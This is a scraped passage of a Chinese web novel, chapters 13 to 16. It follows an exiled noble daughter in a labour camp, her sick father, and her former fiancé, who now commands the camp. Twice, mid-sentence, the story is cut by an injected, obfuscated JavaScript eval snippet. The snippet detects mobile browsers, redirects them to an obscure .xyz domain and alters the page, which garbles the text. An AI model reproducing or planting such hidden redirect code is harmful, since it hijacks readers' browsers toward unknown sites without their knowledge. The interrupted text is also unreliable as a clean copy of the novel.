她当时本有逃掉的机会,还是回去跟家人一起被押上囚车,就是不想一辈子被冠上逃犯的身份,更不想她的画像被贴满大街小巷。 谭聪健忽然掩面哭起来:“说起来都怪我,我当初怎么就被蒙了心,与人伙同起来贪了那么些银子呢,如今害得家人离散,都是我罪有应得。” 他这一哭,云明旭倒是不好意思起来。 说起来,他这一路虽也后悔,却未曾为了家人后悔。 家里面的人,谁没享受过他贪来的银子。 孙姨娘斥道:“我们可不知道你当初的所作所为,你也该好好忏悔才是。” 林书柔宽慰道:“你们也别哭了,不是已经在赎罪了吗,皇上既然只是将咱们流放,而不是直接砍头,就说明是给了你们改过自新的机会的。” 云舒月道:“母亲不懂,皇上不砍我们,是因为我们于江山社稷并无威胁,砍了也是浪费,让我们流放,反倒能继续压榨些价值出来。” 林书柔一愣,看着自己的双手,可她现在每日用劳动换取吃食,内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032987|162332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心安定得很,何尝不是一种自我救赎。 新的一天,云舒月一边做工,一边绝望。 她或许知道自己现在这样是应得的报应,谁叫她生而为了父亲的女儿。 可这样日复一日地做下去,做一辈子,她心有不甘。 她望着东边的山头,心想,若是现在还有人来上山选妻……她又摇了摇头,不可如此。 她攥着拳头,发誓要挣一条新的命出来。 正当她望着东边金灿灿的已经修好一角的宫殿群暗自发誓时,云千雁和云梓莹携手扛着铁镐过来对她道:“二姐,快些干活,上头刚出了新规定,从今日起,干得越多,给的粮食越多,多劳多得,你快别望天了,赶紧干活吧。” 云舒月愣了愣,连忙问道:“此话当真?” “当真,那些拎着鞭子的官兵都被撤走了,往后再无人监管我们。” 听了这话,云舒月转头就扛起铁镐开始挖石头,还想那么多干嘛,当务之急是把饭吃饱。 她干得比谁都卖力,奈何力气小,身子又弱,不一会儿便要停下来歇歇气,胸膛起伏得厉害。 到了饭点,她提着自己的竹筐过去,却见这里的人手上提着一杆秤,又有一人负责评判她的做活量。 不一会儿,她手上多了一碗粥,又多了一个馍馍,她正眼巴巴望着一旁的鸡腿,那人却道:“你就这么多了,去吃吧。” 她失望地掉头离开,云鸿祯将自己的鸡腿递给她:“妹妹吃我的吧。” 她伸手推回去:“不了,哥哥干得多,自然要多吃些,我干得少,不该吃哥哥的。” 就是那小嘴一瘪,像是随时要哭出来。 大树下瘦小的身影显得十分落寞,她小口小口嘬着粥,已经连续好几日都有鸡腿吃了,今日却没有。 放眼望去,也有人手里拿着两根鸡腿的。 她方知,自己从前在这采石场是拖后腿的那个,吃得多干得少。 这样一想,心里就更难受了。 云鸿祯将油滋滋的鸡腿塞到她嘴边:“吃吧,妹妹吃哥哥的,是天经地义的。” 她抿了抿嘴,还是摇头:“我不吃,哥哥吃。” 母亲跟她一样,只有一碗粥和一个馍馍,父亲今日总算自己出来打饭了,只可惜他打到的还是只有一碗粥。 江清辞远远看着她,皱眉喃喃道:“怎么连鸡腿都没吃上,云舒月,你在这里混得可真差。” 到了傍晚,云家人已经准备上床休息了。 门前突然多了一只活蹦乱跳的鸡。 云舒月指着鸡大叫:“啊,我捡到一只鸡!” 云家人围着鸡面面相觑,随后眼睛放光。 “既然鸡是老二捡到的,那就是咱们家的鸡了,今晚加餐?” 云梓莹小声道:“父亲,这是只母鸡,不如先养起来,叫它下蛋。” 云舒月对自己这位一直毫不起眼的四妹有些刮目相看。 “你怎么知道这是只母鸡?” 云梓莹不好意思地垂下头,小声道:“二姐,这是常识。” 13. 第 13 章 “我们若要把这鸡养起来,万一明天趁我们出去干活,它自己跑了怎么办,依我看,还是直接将它吃了吧。” “二姐,你会做鸡吗?” 云舒月摇摇头:“不会。”随后又一本正经道,“应该先拔毛。” 她摇起蒲扇,往凳子上一坐,指挥两个妹妹做鸡。 云千雁胆子大,云梓莹手巧,两人摸索着,笨拙地,倒是将这只鸡给做了出来。 没有调料,白味的,不好吃,但是能果腹。 过了这天晚上,云明旭彻底起不来床了。 昨天还好好的,晚上吃了点鸡肉,竟直接一睡不起了。 林书柔急得眼泪在眼眶里直打转,云舒月看着虚弱至此的父亲,心里也不好受。 也就孙姨娘说了几句风凉话。 “还管他做什么,要不是他,咱们一行人能来了这儿?” 云明旭一整晚都在发烧,现在意识已经模糊了。 流放地病死一个罪犯,是再常见不过的事儿。 云舒月伏在父亲床头,云明旭难得地睁开眼,虚弱道:“月儿,为父最对不起的就是你,你那么要强,又那么娇气,往后该如何活啊,你阿兄不争气,也护不了你。” “父亲不会有事的,熬过去就好了,月儿替父亲找郎中去。” 说完,云舒月往外跑去,身上的灰马褂被风刮得飘起,越发显得空荡荡。 无论如何,她都不能让父亲就这么白白丢命。 有罪就一家人一起赎罪,有错就一家人一起弥补,凭什么要白白丢了性命。 更何况,她不敢想象她一个女子在这流放地失了父亲该沦落到何种境地,母亲在这流放地失了丈夫又该如何。 她一路跌跌撞撞地跑着上了山,江清辞站在屋顶木屋前的平台上,远远就看见了那道单薄灰暗的身影。 待她抬头时,眼珠子却亮得出奇。 “她跑这儿来做什么?” 江嘉懿道:“来找你的吧。” “底下有重兵把守,她上不来。” 山上与山下是两个世界。 江嘉懿又道:“可她看起来很着急的样子。” 江清辞眼中的云舒月,总是挽着高而富丽的发髻,一双水汪汪的大眼睛,时而灵动又带着对万物的好奇。 颊边梨涡盛满了甜意和天真,笑声永远是如银铃般的。 那日她蹲在池边看鱼,池中锦鲤忽地摆尾,溅起的水珠沾湿了她的睫羽。 江清辞的广袖当风拂过她的眉眼,她吓得差些掉进池子里去,他掌心按住她后颈,斜斜垂坠的海棠簪晃了又晃。 他以为她或要惊呼一阵,她却抓起他腰间挂着的玉佩穗子,摁在眼睫上擦了湿意,羊脂玉贴着脸颊滑下。 随后她抬眼巧笑嫣然:“清辞哥哥,多亏有你,要不我就要掉进去了。” 他怔了一瞬,她一如既往的天真娇俏,他却有一瞬间生了龌龊心思。 他按下只生出一瞬的龌龊心思,但无人知道,自那以后,他日日都期待着与她婚期到来的一日。 他从回忆里抽身出来,底下灰扑扑的云舒月已经被官兵拦住了。 “这里是军备重地,不能进。” 云舒月停下脚步,看着眼前死死拦着自己的两柄大刀。 她进过这里面两次,从未想过这里并不是随便进的。 “我找江清辞,劳烦你们通报一下。” 她上下摸了摸,翻出那只绣得极丑的荷包来。 “这个给他,拜托了。” 谁料那官兵刀横怒目,差点刮了云舒月的脸。 “校尉大人的名号也是你能直呼的!再不走当心刀剑无眼。” 云舒月被吓得怔怔的,“校尉?可是那位大名鼎鼎的,黔州牢城营的最高长官?” 那官兵拱了拱手:“正是皇上亲封,特授予持节的江校尉大人。” 云舒月张了张嘴,瞠目结舌,这,这不应该啊。 江清辞竟比从前在京城时还要威风了。 持节校尉,可掌当地兵权、调度当地资源。 江嘉懿调笑他道:“你到了黔州,说是土皇帝也不为过。” 江清辞淡淡道:“爷爷和几位伯伯都要隐居,几位哥哥弟弟又游历的游历,拜师的拜师,皇上给的重担不就只落在我一个人头上了吗……小伯下去看着她点儿,看她要做什么。” 江嘉懿折扇一挥,道:“我可以下去,你总要告诉我,她若是提了要求,我应还是不应。” 江清辞的眸光和声音并无温度,“一切按规矩行事,她提的要求若是合情合理,有何不能应。” 云舒月尚在怔愣间,远远看见江家小伯走过来。 她忙调整了仪态和表情,有些事情还是装傻为好。 “江小伯。”她盈盈行了一礼,是京中大家闺秀常行的礼,也是她往常对江嘉懿行的礼。 可如今套在她这套行头里面,显得有些不伦不类的。 抛开外表不谈,贵女气质尚存,礼仪和气度无可挑剔,江嘉懿挑了挑眉,问道:“云二有何事?” 云舒月也不扭捏,直说道:“我父亲一病不起,情况危急,想请上次为我诊治的那位郎中随我走一趟。” 江嘉懿咂了咂舌,是这样的情况啊,那也不怪她着急,诉求合情合理,可应。 “哦,你看见那个土坡了吗,那里有专为流放人员设立的医馆,你将你父亲带到那里去医治便是。” 云舒月循着江嘉懿的手指看过去,有些失望,但总归是一条路。 可那里的医馆哪会有这山上专为贵人们看病的郎中好使。 “多谢江小伯,我这就去,嘤嘤嘤,唉,呜呜呜。” 她嘴上虽答应了,脚步却一步也不动,就站在江嘉懿面前这么哭了起来。 哭得那叫一个梨花带雨,她本就是那娇弱得仿若春日枝头初绽的海棠花般的美人,此刻,泪珠顺着脸颊一颗一颗地滑落,一边抽噎,声音带着几分娇嗔。 “你,你这是怎么了?”江嘉懿后退了两步。 她用纤细如葱的手指轻轻拭着眼泪,可那泪水像是断了线的珠子,怎么也止不住,微蹙着眉头,满是委屈与无助。 “没怎么,就是被风迷了眼,江小伯别见怪,唉,月儿命苦……” 江嘉懿连连后退,伸手止住她:“你,你等着啊,我去替你把江清辞拎过来。” 江清辞正在书房内处理公务,时而提笔蘸墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032988|162332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在公文上快速批注,笔锋刚劲有力。 书房内安静得只能听见笔尖摩挲纸张的沙沙声,偶有微风拂过,吹动窗前竹帘,江嘉懿回来得很快,他的脚步声散乱轻快。 江清辞头也没抬:“事情可处理好了?她没事吧。” 江嘉懿连连举起双手:“先说好,我可没惹她啊。” 江清辞终于放下笔,抬起头,“怎么了?” 江嘉懿把事情前因后果一说,又补充道:“若是为她破了例,往后人人生病都来找上许郎中该怎么办?” “许郎中现下若是无事,便叫他随她去一趟吧。” “三侄,不可。”江嘉懿费心劝道。 官居高位者,不可偏私。 江清辞捏了捏眉心,往檀木椅上倒去。 “她哭唧唧的,让人听着心烦,若是云明旭真出了什么事,是你听她哭还是我听她哭?早些将她打发了也好,去叫许郎中吧。” 江嘉懿无奈摇了摇头,还是领命办事去了。 这边云舒月止住哭泣,旁边两个执刀小兵总算没再拿刀指着她了,她看起来,跟江校尉真有点关系。 说起来,云舒月与江清辞的旧情本就是京里人尽皆知的,在这个地方传遍是迟早的事。 云舒月试探着往里走了走,竟没人再拦她了,她一路顺利上了山。 木屋之间,宽阔的石板路蜿蜒相连,四周云雾缭绕,仿若仙境。 远处连绵的山脉起伏,云舒月看得呆了,竟不知黔州有这等风光,只可惜他们这些居住在底下牢城营的人注定看不见。 来到一处屋顶覆着琉璃瓦的居所,围栏上雕着栩栩如生的花鸟鱼虫,是京中才有的手艺。 走进屋内,墙壁上挂着堪舆图,巨大的雕花书桌后摆放着一张太师椅,上面坐着一个人。 那人的面庞像是被神精心雕琢过的,线条流畅而又不失棱角,月白长袍曳地,腰间玉佩温润,幽黑眼眸动也不动地盯着她看,线条优美的薄唇抿得很紧,带着几分拒人千里之外的清冷。 云舒月面上的泪珠尚未干透,眼睫晃了晃,“清辞哥哥……” “云舒月,你来这里做什么?” 他的声音冷厉,伸手扯布将背后的堪舆图盖住。 随后又冷声问道:“你是怎么进来的?” 云舒月有些被吓到,小声道:“没,没人拦我,清辞哥哥,我有急事找你。” 江清辞将她看了又看,随后道:“已经叫许郎中过去了。” 云舒月松了口气,拍拍胸脯:“那便好,清辞哥哥,月儿就知道你不会不管月儿的。” 她朝他卖乖。 江清辞神色和缓了些:“你可以走了。” 过了一会儿,他再次抬眸时,云舒月的双腿一寸未动,正望着他书桌旁小几上的糕点流口水。 那是一叠儿他母亲一早托人送来的荷花酥。 母亲的侍女说:“公子从前就爱吃京中瑞锦斋的荷花酥,夫人特地找人做了给您送来。” 江清辞觉得可笑,他一个大男人为何会喜欢做成花朵形状的又甜又腻的荷花酥。 他倒确实让祈言去瑞锦斋排过几回。 他抬眸看向云舒月:“你想吃?” 14. 第 14 章 云舒月咽了咽口水,她怎么可能不想吃,她每天都能吃下一头牛。 像这样精细的糕点,她更是许久没有尝过了。 嘤,好想吃。 她点了点头:“清辞哥哥,想吃。” 江清辞抬眸扫了她两眼,“想吃就自己花钱买。” 云舒月蔫了气,她两只手塞进口袋,又从破了洞的口袋里钻出来,两只手掌从衣摆下伸出来晃了晃,“我哪有钱呀。” 江清辞别开脸,不忍直视她这一套动作。 “没钱就去挣钱。” 云舒月瞪着圆圆的眼睛,“怎么挣?我家的钱都被官府抄走了。” 江清辞眼尾微微抬起看她,“哦,关我何事?” 她的眼波像是被冻住,呆呆地望着他,光亮一点点熄灭,嘴唇微微张开,还保持着撒娇时的形状,忘了合拢。 脑袋僵在那里,几缕发丝胡乱垂在颊边,显得有些无措。 “哦。” 江清辞这个不念旧情的混蛋,可她实在想吃得很呐啊啊啊啊。 比起尴尬,她的嘴更馋。 江清辞看起来只是不爱搭理她,也不是恨她,他应该也不会对她怎么样的吧。 这般想着,她的脚步微动,飞快扑到那小几边,端起盘子就掉头跑路。 “我先走了,不用送,别来追我!” 江清辞抬头,看着那稍纵即逝的灰色背影,眉梢微微下垂,混着些几不可闻的叹息。 云舒月端着糕点一路回到自家的草屋,屋内已经不剩人,都出去干活了,现在不干活就没饭吃。 许郎中刚替床上的云明旭看诊完,撞上迎面回来的云舒月。 云舒月朝他绽开一道温婉笑容,连忙搀住许郎中,“许郎中大人请坐,陋室不便,还请多见谅,诗筠,给郎中大人倒茶。” 说顺嘴了,可惜屋子里没有诗筠的身影。 “郎中大人,我父亲如何了,可能治好?” 她找出家里最好的一个碗放在许郎中面前,粗陶碗沿有道细裂口,云舒月垂眸将缺口转向自己掌心,素色衣袖不着痕迹地掩住那道缺口。 茶汤是前日母亲不知从何处讨来的陈年茶末,沸水一冲便浮起碎渣,她执壶的手腕却稳得像当年执羊脂玉杯斟琼花露。 “郎中大人见笑,这是前朝云雾茶。”她将碗推至他跟前,又正好可以奉上荷花酥待客。 黔州牢城营地处边境,往常有无数商人从此地路过,这里的罪犯想从中搞到些东西不难,只是云家人刚到此地,许多行事规则还没有摸准。 许郎中望着浮沫下几片蜷缩的枯叶,并未端茶入口,再看那叠从江校尉房中端出来的荷花酥,更不敢下手。 “令尊这咳血症,怕是要好得艰难,若能用上二十年以上的野山参作药引……” 云舒月交叠在膝头的指尖颤了颤,若是换成以前,莫说二十年的野山参,就是百年野山参也不在话下。 许郎中看了她几眼,心中叹气,这位云小姐似乎不记得了,三年前,他曾到云府给她请过平安脉的。 那时这位云二小姐隔着三重鲛绡帘,给他赐座都要先熏三遍紫檀椅。 如今草屋梁上悬着的蛛丝正巧落在她未能精心打理的发髻旁。 云舒月将半份荷花酥用油纸包好系上红绳,推过去时结的是双鹤献寿结。 “野山参实在难得,烦请郎中大人再尽心医治。” 许郎中没有接过她的东西,起身便要告辞:“已经留了些药物在此,此物贵重,老夫万不敢收,还望云二小姐珍重。” 说完话匆匆离去,云舒月没能拦得住他。 木门吱呀合拢的刹那,云舒月倒进一张瘸腿圈椅,长叹了声气。 她回头瞥了眼在床上躺着的父亲,心内是说不上来的烦躁。 她抓起许郎中不要的油纸包里装着的荷花酥,咬了一大口。 甜腻腻的滋味浮上心头,她舒服得闭上了眼。 每一口都要细嚼慢咽,好好品味。 她蹲到床头去看父亲,声音软糯地问道:“父亲,你还好吗?” 父亲有白发了,就藏在鬓角。 她伸手去撇。 云明旭睁开眼,“月儿,你可怪为父。” 云舒月摇了摇头:“父亲也是为了让我们过得更好。” 她心里知事,虽话是这样说,可父亲还娶了三房姨娘,给她生了一大家子兄弟姐妹,她不怨他是假的。 待到傍晚,家里人都回来了,王姨娘给云明旭煎了药。 云舒月一下午吃了一整盘荷花酥,剩了三块儿,诗筠、母亲、哥哥一人一块儿。 至于其他人,她可不在乎。 更何况,父亲若是没了,这一大家子人迟早是要分家的。 母亲和孙姨娘有儿子,她有哥哥,至于其他人该如何,她就不知道了。 今日得知江清辞便是掌管这里所有人的司隶校尉,她心中虽有不忿,觉得凭什么他还高高在上的,却多少还是松了口气的。 有他在,她想在这里保一条命不难。 她不管江清辞现在如何看待他,但至少不会任由她死。 但江清辞的事情她并不打算说出来。 “今天我看到一行夜郎国的商队从山下路过,若能想办法混入商队,跟着进入夜郎国……” 如此,就算在大礼朝成了逃犯,也没关系。 这话是云鸿祯说出口的,孙姨娘闻言有些蠢蠢欲动。 她身子动了动,道:“听闻夜郎国一向乐于接纳我朝流民,过去总比在这地方一直做苦工的好。” 林书柔没发话,时至今日,她是家里唯一适应了此处环境的人。 “不行。”云舒月皱着眉说道。 云鸿祯转头看向妹妹,“为何不行?” “夜郎国不过弹丸之地,还常有地动发生,此等小国,民风粗放,过去有何前途可言?”云舒月声音冷静。 孙姨娘道:“二小姐,咱们在这牢城营又有何前途可言?” 云舒月两弯眉将蹙未蹙,她何尝不焦虑呀,孙姨娘觉得自己好像又看到了从前在家里主持大局的二小姐。 云鸿祯见到妹妹瞥了一眼父亲,又独自叹着气。 “妹妹,你不会,还期望着父亲哪天能重回京城吧。” 被哥哥点破了思绪,云舒月只好点头。 “朝局本就瞬息万变,说不定,皇上只是一时生了气,过段日子又把咱们召回去了呢?” 云舒月仰赖江清辞,觉得有了一丝希望,可云家其他人却觉得她是在白日做梦。 “总之,把 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云舒月的神情落寞下来,“这样啊,那咱们能用何物去做交易呢。” 不一会儿,她眼睛又亮起来,“有了,我昨天带回来的那只盘子,那是从官窑出来的天青釉,值钱!” 诗筠走后,云舒月用缠着布条的手费力干活,远远看去,像只笨拙扑腾的猴儿。 傍晚回到草屋,父亲的情况更差了,由于他干不了活,一家人还得匀些吃食给他。 孙姨娘不愿意出食物,也不愿意伺候他,自己带着儿子蹲得远远的。 林书柔无奈道:“咱们是一家人呀。” 孙姨娘颇有些抱怨:“往常在京城的时候,大公子和二小姐没少使唤我家茂学,我每日到主母跟前晨昏定省也是一次未落下,现在咱们都是罪犯了,你也管不着我。” 林书柔摇了摇头,万般无奈,只道:“没人说要管你,罢了,随你吧。” 在云舒月看来,这个家迟早要分,母亲多虑。 晚饭吃了很少的食物过后,她躺在阿兄为她编的藤椅上,闭目养神。 她两只手捂着肚子,躺得很安详。 不一会儿,她听到不远处空地上传来的惨叫声,吓了一大跳。 离草屋不远的地方,是有一片刑场的,不过在平常无人受罚的时候,此处很安静。 一家人齐齐望过去,其他草屋里住着的罪犯也出来看。 两个官兵正趴在长凳上挨杖打。 “官兵怎么会挨打呢,挨打的不都是咱们这些罪犯吗?” “牢城营地处边境,军纪严明,官兵若是犯了错,挨打得比咱们这些罪犯还要惨。” “这两人私自放人上了山,校尉大人才震怒。” 云舒月脸色吓得惨白,那两个官兵正是她昨日上山找江清辞碰见的两人,事情总不会这么巧吧。 五十杖过后,空气恢复寂静,云舒月忐忑不安了一整晚,躺在稻草铺成的床上时,脑子里是一团乱麻,不知前路该如何走。 半夜,当她迷迷糊糊快要入睡的时候,听见吵吵嚷嚷的声音响起,随后是女眷嘤嘤哭泣的声音。 “老爷不好了!” 15. 第 15 章 乍然被惊醒,云舒月空白的脑子里只有一个想法:父亲不能死。 “许郎中不是留了药吗,王姨娘,劳烦你快煎药给父亲吃。” 王姨娘摇摇头:“二小姐,老爷已经出气多进气少了,药根本灌不进去,若非要吊命,怕只有人参可以。” 云舒月从床上翻身下来,急匆匆套上草鞋。 “等着我,我去去就回!” 出了草屋的门,她发了疯地往修满了华丽殿宇的山上狂奔,刹那间,她想起了今日挨打的那两个官兵,江清辞或许现在并不乐意见她,可她没有别的选择了。 黑洞洞的夜里,牢城营四处寂静,山上的殿宇群也歇了工,一片黑暗,整片天地下,唯有角落里的草屋群中有一个屋子亮起了微弱的灯烛。 江清辞今日难得地未能入眠,独自在山顶站了很久,山里面的蝉鸣此起彼伏,直到看到远处有一间草屋亮起了烛光,隔得太远,只能看见一个点。 云舒月果然在半山腰被拦下了,黑夜里,她的行迹像极了上山偷盗军事机密的嫌犯。 官兵几乎就要当场将她拿下,关进牢里去听候发落。 云舒月当即跪扑在地上嚎啕大哭了起来,扯着嗓子用最大的声音喊道:“江清辞!江清辞!江清辞——” 那官兵吓得上前捂住了她的嘴。 “呜呜呜呜……” “她这样子,吵到贵人该怎么办?你我又要受罚。” 另一人做了一个抹脖子的动作,“不如……” “可校尉不让咱们乱杀人。” 另一个人又做了个砍后颈的动作,“那就……” “好主意。” 那人一个手刀,云舒月晕了过去。 云舒月也想不到自己会晕倒三天三夜,那一记手刀对她来说有些太猛了。 江清辞觉得自己错了,他之前该做的是警告她不许再往这里跑,而不该只是厉斥官兵不该放她进来。 现在人被敲成这样,许郎中说,她颈骨差点断裂,人也不知何时能醒过来。 明明做错事的是她,他为何,心里内疚得厉害。 他本来想着,等她醒过来,定要怒斥她一番,大半夜的为何要往山上跑。 后来他派人到云家去打听,才得知事情原委。 云舒月悠悠转醒时,肚子里空得厉害,江清辞就在她旁边坐着。 “江清辞。” 江清辞放下笔转头看她,“醒了?” 云舒月觉得自己头疼得厉害,可还是没忘自己来这儿的目的。 “我父亲病了,求,求你帮我。” 她挣扎着要起身,江清辞抬手将她按住。 “先别急着起来,现在已经是三天以后了。” 云舒月面色惶恐,一张小脸儿煞白,紧咬下唇,模样说不出的楚楚可怜。 “那我父亲……” “放心,他情况已经开始好转了,过不了多久就能下地干活了。” 江清辞提笔蘸墨,一边在公文上写批注,一边回答云舒月的问题。 云舒月仰躺在床榻之上,身上被换了身舒适的白色棉质袍,心情顿时轻松了不少。 她眼珠子水灵灵地睁大了些,睫毛上沾着湿意,还有睡了三日凝成的淡黄色结块儿,却丝毫不影响美貌,眼尾是天生上挑的,手指无意识揪着被头,指甲也被重新修剪过,圆圆润润的,乌发泼散在枕上,被人精心梳理过。 “清辞哥哥,谢谢你呀。” 嗓音很甜,带着些刚刚苏醒时的沙哑。 江清辞侧头朝她看去,她在朝他笑,她抬颌时先将左脸侧转一些,这个角度能让颊上梨涡陷得恰到好处,瞳仁沁得晶亮。 他正视她:“你不用谢我,是你的侍女诗筠拿着你抢走的那只我的盘子,到山下的商队里换到了野山参,这才救了你父亲的命。” 对着他的视线,云舒月眨了眨眼,有些怔愣。 所以,如果没有诗筠换来的野山参,江清辞会救父亲吗,云舒月很想知道这个问题的答案。 江清辞却舒了口气,当时她晕倒在他这里,他巴不得答应她的所有请求。 许郎中说只有野山参才能吊住云明旭的命,他便想法子去找野山参,可他正好碰见了端着盘子下山的诗筠。 “所以,你抢走的我的那只盘子市价三百两白银,你要怎么还?” 云舒月心凉了大半,所以,江清辞还是那个不念旧情的江清辞。 她咬住下唇,瞳仁几乎瞬时便水光潋滟,“清辞哥哥便这样欺负人吗,月儿已经够惨的了,明明我什么错事也没有做……沦落至此非我所愿。” 江清辞扶额轻叹,云舒月只能看见他的侧脸,还有一缕垂下的发丝,他的头发只用一根青玉簪束住,额前碎发未用青绸带压住。 “云舒月,犯了错就要受罚、欠了钱就要还钱。撒娇讨巧并不能如愿以偿。”他的声音温柔且无奈。 云舒月被他说得愣住,生生止住了眼泪。 “清辞哥哥,非是我想撒娇讨巧,我从小便被教导着:月儿生来便是金尊玉贵的一个人儿,想要的东西便没有得不到的。”就算是江清辞。 “把眼泪擦干,起来吃饭,吃完饭就回家去吧,你母亲和你哥哥很担心你。” 云舒月顺着他的指向看去,桌上孤零零的只有一碗粥。 她按下心里的失望,有粥喝也好,总比什么都没有的好。 这是一碗熬得极浓稠的小米南瓜粥,被玛瑙冰玉的碗盛着。 她按下胃里空荡荡的不适,吃了两口以后,总算缓了过来。 缓过来后,脑子才恢复了转动,她背对着江清辞,眼珠子骨碌碌地转着。 他以为她天真得在这个地方迟早受教训,可在那长达两个月的从京城到黔州的死命奔波中,曾经的贵女云舒月早已经被现实驯服了。 “清辞哥哥讲的话月儿明白了,往后定不会再叨扰。” 她吃干净了最后一口粥,恨不得舔一口碗底,硬生生止住了冲动。 吃完饭,没有理由再赖了。 云舒月幽幽看向墙角摆着的一架琴,眼泪哗地落了下来。 侧脸泪珠滚动的弧度恰好映入江清辞的眼里。 他就怕她哭,怕是又要趁机提什么要求,他恨不得一并 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倒是她如今出了那金丝笼,何曾察觉自己正身处于黔州这万千大山之中,若她细细体会,不日说不定真能弹出此等意境。 云舒月倚琴垂泪了许久。 江清辞忍不住开口:“你吃饱饭了吗?” 美人垂泪的动作一滞,茫然抬头时,肚子跟着叽里咕噜叫起来。 江清辞不语,只叫祈言摆饭进来。 不一会儿,桌上摆了满满一桌各样可口菜式。 “吃吧,吃饱些。” 云舒月咽了咽口水,大口地吃起来,再也顾不上其他。 “你刚刚醒过来,不宜吃太多肉类。” 江清辞行至桌前,给她盛了一碗参须鲫鱼汤,轻轻放在她跟前。 云舒月几乎是混着泪喝完的,不是所有眼泪都是假装,可这被炖得奶白奶白的汤也太好喝了。 还有她的清辞哥哥……已经许久未待她这样温柔过了。 她吃了极好极舒坦的一餐,江清辞递手帕让她擦了嘴。 她忽地抬眸认真看他:“清辞哥哥。” “嗯?” 她又摇了摇头,“没什么。” 然后将手塞进了他的掌心,拉住了他的手,“谢谢你。” 江清辞手心里麻麻的,想挪开,他的视线落在她身上,她穿着象牙色的棉布长裙,长发曳腰,未经任何装饰,就那么毛茸茸地垂在肩上,落在腰上。 她的手养了几天,不似从前那般粗糙了,睫毛长长地覆在眼睑上。 他松开她的手,“回家去吧。” 回了家,她第一时间去看了父亲。 云明旭虽还躺在床上,看起来却好多了。 云舒月心安了大半,也不知该感谢自己大半夜地跑去找江清辞还被人砍晕了三天三夜,还是该感谢自己前些天抢回来的荷花酥和盘子。 不一会儿,有人过来传信。 “罪犯云舒月,明日起,你被调到灰浆坊干活了,别走错了地儿。” 16.第 16 章 第二日一早,云舒月按时到了灰浆坊报道。 从前她不知道灰浆是个什么东西,现在知道了,这是一种粘合剂,用来砌行宫的一砖一瓦的。 她的活儿就是:把糯米混合石灰一起熬煮。 这活儿虽也不轻松,可比那露天又随时需要提防碎石将自己刮伤的采石场轻松多了。 她心满意足。 更让她惊喜的是,今日明明没有干多少活儿,竟换得了比往常都要多的食物。 这灰浆坊的兑换比例比采石场高多了! 云舒月当然知道是江清辞将她调到这里来的,看来昨天的哭诉有用,她今天又去,大不了再被人敲晕一回。 她看到行宫里有专门的漆画描金组,负责给梁枋彩绘贴金箔的,她想去做那个活儿。 趁饭后消食的时候,她又上了山,只是这一回遇到的官兵竟都无视了她。 她贴脸凑到人家跟前去:“大哥,我找江清辞。” 那人不理她。 “大哥,那我自己上去了哈,你别打我哦。” 难得吃饱喝足还不累的一天,她是蹦跶着上山的。 若是从前的姐妹见了她,定要笑话她哪还有个贵女的样子。 可她现在浑身有劲儿啊,她突然觉得,这山上风景甚好,花开得甚美,是从前在京城不曾见到过的景色。 夕阳西下,山脊线漫开胭脂色,一丛淡紫色的野蔷薇随风轻轻摇摆,浓郁的甜腻香味扑鼻而来。 云舒月猛吸了一口香气,又弯腰趴在花丛里摘了好几朵,围在头上别了一个花环。 鸦色鬓发贴着脸颊垂下,花丛深处忽见双蝶,云舒月追着便往山上去了。 “我捉!” 她身子往前一扑,没捉到,再接再厉往前扑。 行宫的殿宇群近在眼前,她站直了身子,看了一会儿那些半成品的飞檐拱斗、雕梁画栋,红色梁柱和雕花椽子。 呆了一瞬,又转身扑蝶去了。 她一头撞进了某个坚硬的胸膛,抬头一看,竟是江清辞。 “此处是施工重地,你又在乱跑什么?”被屋顶落下来的瓦片砸到怎么办。 云舒月头顶的花瓣簌簌落下,她一只手捂着额头,一只手指着不远处飞来飞去的蝴蝶,“我不是故意跑到这里来的。” 自从上次事情过后,江清辞特地嘱咐了所有官兵,无需再阻止云舒月上来,但只要她一上来,务必将她盯紧,且要第一时间告知他。 他刚刚在山顶等了她许久,可她迟迟未到,他也只好下山来寻她。 江清辞静静看着她,这山上是军备重地,若不是他绝不相信云舒月会跟邻国间谍扯上关系,定要将她抓起来,岂容她到处走来走去。 云舒月站直了身子,也不去扑蝴蝶了。 她垂头捏着他的衣摆,声音甜甜地道:“你给我安排的新活计我很喜欢。” 江清辞满腔地要警告的话语便都说不出来了,他看着她头顶的花,“你喜欢……煮糯米水拌灰浆?” 云舒月摇摇头:“不是,他们给我分的活计是蒸糯米,我只需要盯着锅和柴火就好了,我还是第一次见到柴火和灶,便知道往常吃的饭食是如何得来的了,烧柴火也挺好玩的,就是有点闷,天气太热了,但这些都不是最重要的,最重要的是,我今天得到了两根鸡腿吃。” 她用手指比了个二,怼到江清辞脸上去。 “那鸡腿好吃吗?” 云舒月又摇了摇头:“不好吃,是白味的,我想吃卤鸡腿、酱鸡腿、炸鸡腿……你能给我吃吗?” 她微泛着红的圆翘鼻尖上渗出了几滴汗珠,今日的脸上倒是干净。 “可若你要吃卤鸡腿、酱鸡腿、炸鸡腿,难道这整个牢城营的人都要一起吃卤鸡腿、酱鸡腿、炸鸡腿吗?” 江清辞一边说,一边向上走去,云舒月跟在他身后。 她知道他想说什么,可她就是跟那些人不一样啊,她有他这么一个大大大靠山。 她算是已经知道了,以前的猜测都是假的,江清辞明明就不会不管她的,要不他干嘛给她那些好处。既如此,那便是,随便她怎么得寸进尺咯。 